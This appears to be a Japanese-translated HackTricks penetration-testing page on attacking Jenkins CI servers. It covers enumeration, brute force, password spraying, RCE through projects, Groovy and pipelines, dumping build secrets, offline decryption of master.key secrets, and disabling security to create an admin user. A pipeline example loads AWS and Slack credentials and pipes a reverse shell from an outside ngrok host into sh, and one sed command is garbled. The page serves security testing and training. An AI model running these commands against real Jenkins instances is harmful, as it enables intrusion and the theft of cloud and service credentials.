# Jenkins Security {{#include ../../banners/hacktricks-training.md}} ## 基本情報 Jenkinsは、パイプラインを使用してほぼ**すべての**プログラミング言語とソースコードリポジトリの**継続的インテグレーション**または**継続的デリバリー**(CI/CD)環境を確立するための簡単な方法を提供するツールです。さらに、さまざまなルーチン開発タスクを自動化します。Jenkinsは**個々のステップのためのスクリプトを作成する必要性を排除するわけではありませんが**、手動で簡単に構築できるよりも、ビルド、テスト、デプロイメントツールの全シーケンスを統合するためのより迅速で堅牢な方法を提供します。 {{#ref}} basic-jenkins-information.md {{#endref}} ## 認証されていない列挙 認証なしで興味深いJenkinsページを検索するには(例:_/people_や_/asynchPeople_、これは現在のユーザーをリストします)、次のようにします: ``` msf> use auxiliary/scanner/http/jenkins_enum ``` 認証なしでコマンドを実行できるか確認してください: ``` msf> use auxiliary/scanner/http/jenkins_command ``` 資格情報がない場合、_**/asynchPeople/**_ パスや _**/securityRealm/user/admin/search/index?q=**_ で **ユーザー名** を確認できます。 _**/oops**_ または _**/error**_ パスから Jenkins のバージョンを取得できるかもしれません。 ![](<../../images/image (146).png>) ### 既知の脆弱性 {{#ref}} https://github.com/gquere/pwn_jenkins {{#endref}} ## ログイン 基本情報では、**Jenkins 内にログインするすべての方法**を確認できます: {{#ref}} basic-jenkins-information.md {{#endref}} ### 登録 アカウントを作成してログインできる Jenkins インスタンスを見つけることができます。**それだけです。** ### **SSO ログイン** また、**SSO** **機能**/**プラグイン** が存在する場合は、テストアカウント(例:テスト **Github/Bitbucket アカウント**)を使用してアプリケーションに**ログイン**を試みるべきです。 [**こちら**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/)のトリック。 ### ブルートフォース **Jenkins** は **パスワードポリシー** と **ユーザー名のブルートフォース緩和** が不足しています。**弱いパスワード**や **ユーザー名をパスワードとして使用**している可能性があるため、ユーザーを**ブルートフォース**することが重要です。**逆のユーザー名をパスワードとして使用**している場合もあります。 ``` msf> use auxiliary/scanner/http/jenkins_login ``` ### パスワードスプレー Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray). ### IPホワイトリストバイパス 多くの組織は、**SaaSベースのソース管理(SCM)システム**(GitHubやGitLabなど)を**内部の自己ホスト型CI**ソリューション(JenkinsやTeamCityなど)と組み合わせています。この設定により、CIシステムは**SaaSソース管理ベンダー**からの**ウェブフックイベント**を受信し、主にパイプラインジョブをトリガーすることができます。 これを実現するために、組織は**SCMプラットフォーム**の**IP範囲**を**ホワイトリスト**に登録し、**ウェブフック**を介して**内部CIシステム**にアクセスできるようにしています。しかし、**誰でも**GitHubやGitLabに**アカウント**を作成し、**ウェブフックをトリガー**するように設定できるため、**内部CIシステム**にリクエストを送信する可能性があります。 Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/) ## 内部Jenkinsの悪用 これらのシナリオでは、Jenkinsにアクセスするための有効なアカウントを持っていると仮定します。 > [!WARNING] > Jenkinsに設定された**認証**メカニズムと侵害されたユーザーの権限によっては、以下の攻撃を**実行できる場合とできない場合があります。** 詳細については、基本情報を確認してください: {{#ref}} basic-jenkins-information.md {{#endref}} ### ユーザーのリスト表示 Jenkinsにアクセスした場合、[http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)で他の登録ユーザーをリスト表示できます。 ### プレーンテキストの秘密を見つけるためのビルドのダンプ Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) to dump build console outputs and build environment variables to hopefully find cleartext secrets. ```bash python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps cd build_dumps gitleaks detect --no-git -v ``` ### **SSH資格情報の盗難** もし侵害されたユーザーが**新しいJenkinsノードを作成/変更するのに十分な権限を持っている**場合、他のノードにアクセスするためのSSH資格情報がすでに保存されていると、彼は**ホストを設定して資格情報を記録する**ことによって**それらの資格情報を盗む**ことができます。ホストキーを検証せずに: ![](<../../images/image (218).png>) 通常、JenkinsのSSH資格情報は**グローバルプロバイダー**(`/credentials/`)に見つかるので、他の秘密をダンプするのと同様にダンプすることもできます。詳細は[**秘密のダンプセクション**](./#dumping-secrets)を参照してください。 ### **JenkinsにおけるRCE** **Jenkinsサーバーでシェルを取得する**ことは、攻撃者にすべての**秘密**や**環境変数**を漏洩させ、同じネットワークにある他のマシンを**悪用**したり、さらには**クラウド資格情報を収集**する機会を与えます。 デフォルトでは、Jenkinsは**SYSTEMとして実行されます**。したがって、これを侵害することで攻撃者は**SYSTEM権限**を得ることになります。 ### **プロジェクトの作成/変更によるRCE** プロジェクトを作成/変更することは、Jenkinsサーバー上でRCEを取得する方法です: {{#ref}} jenkins-rce-creating-modifying-project.md {{#endref}} ### **Groovyスクリプトの実行によるRCE** Groovyスクリプトを実行することでRCEを取得することも可能で、これは新しいプロジェクトを作成するよりもステルス性が高いかもしれません: {{#ref}} jenkins-rce-with-groovy-script.md {{#endref}} ### パイプラインの作成/変更によるRCE **パイプラインを作成/変更することによってもRCEを取得できます**: {{#ref}} jenkins-rce-creating-modifying-pipeline.md {{#endref}} ## パイプラインの悪用 パイプラインを悪用するには、Jenkinsへのアクセスが必要です。 ### ビルドパイプライン **パイプライン**は**プロジェクトのビルドメカニズム**としても使用でき、その場合、パイプライン構文を含む**リポジトリ内のファイル**を設定できます。デフォルトでは`/Jenkinsfile`が使用されます: ![](<../../images/image (127).png>) 他の場所(例えば他のリポジトリ)にパイプライン構成ファイルを**保存することも可能**で、リポジトリの**アクセス**とパイプラインのアクセスを**分離する**ことを目的としています。 攻撃者が**そのファイルに対して書き込みアクセスを持っている場合**、彼はそれを**変更**し、Jenkinsにアクセスすることなく**パイプラインをトリガーする**ことができるでしょう。\ 攻撃者は**いくつかのブランチ保護を回避する必要があるかもしれません**(プラットフォームやユーザー権限によっては回避できる場合もあります)。 カスタムパイプラインを実行するための最も一般的なトリガーは次のとおりです: - **メインブランチへのプルリクエスト**(または他のブランチへのプルリクエスト) - **メインブランチへのプッシュ**(または他のブランチへのプッシュ) - **メインブランチの更新**を行い、何らかの方法で実行されるのを待つ > [!NOTE] > あなたが**外部ユーザー**である場合、**他のユーザー/組織のリポジトリのメインブランチにPRを作成し**、**パイプラインをトリガーする**ことを期待すべきではありません...しかし、**不適切に設定されている**場合、あなたはこの方法で企業を完全に**侵害する**ことができるかもしれません。 ### パイプラインRCE 前のRCEセクションでは、[**パイプラインを変更することでRCEを取得する技術**](./#rce-creating-modifying-pipeline)がすでに示されています。 ### 環境変数の確認 **平文の環境変数**をパイプライン全体または特定のステージのために宣言することが可能です。これらの環境変数は**機密情報を含むべきではありません**が、攻撃者は常に**すべてのパイプライン**構成/Jenkinsfileを**確認する**ことができます: ```bash pipeline { agent {label 'built-in'} environment { GENERIC_ENV_VAR = "Test pipeline ENV variables." } stages { stage("Build") { environment { STAGE_ENV_VAR = "Test stage ENV variables." } steps { ``` ### 秘密のダンプ Jenkinsが秘密を通常どのように扱うかについての情報は、基本情報を確認してください: {{#ref}} basic-jenkins-information.md {{#endref}} 資格情報は**グローバルプロバイダー**(`/credentials/`)または**特定のプロジェクト**(`/job//configure`)に**スコープ**できます。したがって、すべての秘密を抽出するには、**秘密を含むすべてのプロジェクトを少なくとも侵害する**必要があり、カスタム/毒入りパイプラインを実行する必要があります。 もう一つの問題は、パイプラインの**env内の秘密**を取得するには、**秘密の名前とタイプを知っている必要がある**ことです。たとえば、**`string`** **秘密**として**`usernamePassword`** **秘密**を**ロード**しようとすると、この**エラー**が発生します: ``` ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected ``` ここでは、一般的なシークレットタイプをロードする方法を示します: ```bash withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) { sh ''' env #Search for USERNAME and PASS ''' } withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) { sh ''' env #Search for SECRET ''' } withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) { sh ''' env # Search for USERPASS ''' } # You can also load multiple env variables at once withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'), string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) { sh ''' env ''' } ``` このページの最後に**すべての資格情報タイプ**を**見つけることができます**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/) > [!WARNING] > **すべての秘密を一度にダンプする**最良の方法は、**Jenkins**マシンを**侵害する**ことです(例えば、**組み込みノード**でリバースシェルを実行する)そして、**マスターキー**と**暗号化された秘密**を**漏洩**させ、それらをオフラインで復号化します。\ > これを行う方法については、[ノードとエージェントのセクション](./#nodes-and-agents)および[ポストエクスプロイテーションのセクション](./#post-exploitation)を参照してください。 ### トリガー [ドキュメントから](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): `triggers`ディレクティブは、**パイプラインが再トリガーされる自動化された方法**を定義します。GitHubやBitBucketなどのソースと統合されたパイプラインの場合、`triggers`は必要ないかもしれません。なぜなら、ウェブフックベースの統合がすでに存在する可能性が高いからです。現在利用可能なトリガーは`cron`、`pollSCM`、および`upstream`です。 Cronの例: ```bash triggers { cron('H */4 * * 1-5') } ``` 他の例は**ドキュメントで確認してください**。 ### ノードとエージェント **Jenkinsインスタンス**は、**異なるマシンで異なるエージェントが実行されている**可能性があります。攻撃者の視点から見ると、異なるマシンへのアクセスは、**異なる潜在的なクラウド資格情報**を盗むことや、**他のマシンを悪用するための異なるネットワークアクセス**を意味します。 詳細については、基本情報を確認してください: {{#ref}} basic-jenkins-information.md {{#endref}} `/computer/`で**構成されたノード**を列挙できます。通常、**`Built-In Node`**(Jenkinsを実行しているノード)と、潜在的に他のノードが見つかります: ![](<../../images/image (249).png>) **Built-Inノードを妥協することは特に興味深い**です。なぜなら、それには機密のJenkins情報が含まれているからです。 **ビルトインJenkinsノード**で**パイプライン**を**実行**したいことを示すために、パイプライン内で次の設定を指定できます: ```bash pipeline { agent {label 'built-in'} ``` ### 完全な例 特定のエージェント内のパイプライン、cronトリガーを使用し、パイプラインおよびステージ環境変数を持ち、ステップで2つの変数を読み込み、リバースシェルを送信します: ```bash pipeline { agent {label 'built-in'} triggers { cron('H */4 * * 1-5') } environment { GENERIC_ENV_VAR = "Test pipeline ENV variables." } stages { stage("Build") { environment { STAGE_ENV_VAR = "Test stage ENV variables." } steps { withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'), string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) { sh ''' curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS ''' } } } post { always { cleanWs() } } } ``` ## 任意ファイル読み取りからRCEへ {{#ref}} jenkins-arbitrary-file-read-to-rce-via-remember-me.md {{#endref}} ## RCE {{#ref}} jenkins-rce-with-groovy-script.md {{#endref}} {{#ref}} jenkins-rce-creating-modifying-project.md {{#endref}} {{#ref}} jenkins-rce-creating-modifying-pipeline.md {{#endref}} ## ポストエクスプロイト ### Metasploit ``` msf> post/multi/gather/jenkins_gather ``` ### Jenkins Secrets `/credentials/` にアクセスすることで、十分な権限があればシークレットをリストできます。これは `credentials.xml` ファイル内のシークレットのみをリストしますが、**ビルド構成ファイル**にも**追加の資格情報**が含まれている可能性があります。 各プロジェクトの**構成を表示できる**場合、リポジトリにアクセスするために使用されている**資格情報(シークレット)の名前**や**プロジェクトの他の資格情報**も確認できます。 ![](<../../images/image (180).png>) #### From Groovy {{#ref}} jenkins-dumping-secrets-from-groovy.md {{#endref}} #### From disk これらのファイルは**Jenkinsシークレットを復号化するために必要**です: - secrets/master.key - secrets/hudson.util.Secret そのような**シークレットは通常**以下に見つかります: - credentials.xml - jobs/.../build.xml - jobs/.../config.xml これらを見つけるための正規表現は次のとおりです: ```bash # Find the secrets grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<" # Print only the filenames where the secrets are located grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<" # Secret example credentials.xml: {AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==} ``` #### Jenkinsの秘密をオフラインで復号化する **秘密を復号化するために必要なパスワードをダンプした場合**、**これらの秘密を復号化するために** [**このスクリプト**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **を使用してください**。 ```bash python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml 06165DF2-C047-4402-8CAB-1C8EC526C115 -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT ``` #### GroovyからJenkinsの秘密を復号化する ```bash println(hudson.util.Secret.decrypt("{...}")) ``` ### 新しい管理者ユーザーの作成 1. `/var/lib/jenkins/config.xml` または `C:\Program Files (x86)\Jenkis\` にある Jenkins config.xml ファイルにアクセスします。 2. `true`という単語を検索し、**`true`**を**`false`**に変更します。 1. `sed -i -e 's/truefalsetrue` に変更して、**再度セキュリティを有効にし**、**Jenkins を再起動**します。 ## 参考文献 - [https://github.com/gquere/pwn_jenkins](https://github.com/gquere/pwn_jenkins) - [https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/](https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/) - [https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password](https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password) - [https://www.lazysystemadmin.com/2018/12/quick-howto-reset-jenkins-admin-password.html](https://www.lazysystemadmin.com/2018/12/quick-howto-reset-jenkins-admin-password.html) - [https://medium.com/cider-sec/exploiting-jenkins-build-authorization-22bf72926072](https://medium.com/cider-sec/exploiting-jenkins-build-authorization-22bf72926072) - [https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3](https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3) {{#include ../../banners/hacktricks-training.md}}